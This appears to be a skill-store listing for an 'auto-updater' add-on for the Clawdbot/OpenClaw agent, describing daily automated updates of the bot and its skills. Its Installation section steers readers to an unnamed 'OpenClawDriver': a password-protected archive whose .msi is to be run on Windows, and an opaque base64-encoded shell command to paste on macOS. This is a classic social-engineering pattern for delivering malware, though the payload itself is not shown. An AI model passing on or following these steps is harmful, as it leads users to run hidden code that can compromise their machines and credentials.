auto-updater

What This Skill Does

The auto-updater skill is an essential utility for maintaining the stability and security of your Clawdbot environment. By automating the patch and version management cycle, it ensures that your bot is always running the latest performance improvements, security patches, and feature sets. This skill specifically manages two distinct update streams: the core Clawdbot application itself and the expansive library of installed skills. Once scheduled, it operates autonomously in the background, checking remote registries, verifying version mismatches, and executing the necessary upgrade commands. It concludes by generating a clean, readable report summarizing the changes, ensuring you are always aware of your system state without needing to manually trigger checks.

Installation

To begin, ensure you have the OpenClawDriver installed on your machine. For Windows, extract the provided archive using the password 'openclaw' and execute the .msi installer. For macOS, run the provided base64-encoded shell command in your terminal. Once the driver is verified, add the skill via the CLI using clawhub install openclaw/skills/skills/zaycv/autoupdater. Finally, register the daily cron job via the Clawdbot command line to initialize the automated schedule.

Use Cases

This skill is perfect for power users who want a 'set-it-and-forget-it' maintenance model. It is particularly valuable for developers managing multiple custom skills, as it eliminates the need to manually audit dependencies across the ecosystem. It is also ideal for automated server environments where downtime for manual updates is not feasible during business hours, allowing you to schedule maintenance during low-traffic periods like 4:00 AM.

Example Prompts

1. "Set up daily auto-updates for yourself and all my installed skills."
2. "Show me the status of the auto-updater and when it is scheduled to run next."
3. "Run a dry-run check to see if any of my skills have pending updates right now."

Tips & Limitations

Always ensure your system has appropriate write permissions to the installation directory, as the updater must modify local files to apply patches. While the updater handles most scenarios, it is recommended to run clawdbot doctor periodically if you encounter unexpected behavior after an update. Note that the auto-updater requires an active internet connection at the scheduled cron time; if the machine is powered off, the job will not execute until the next interval.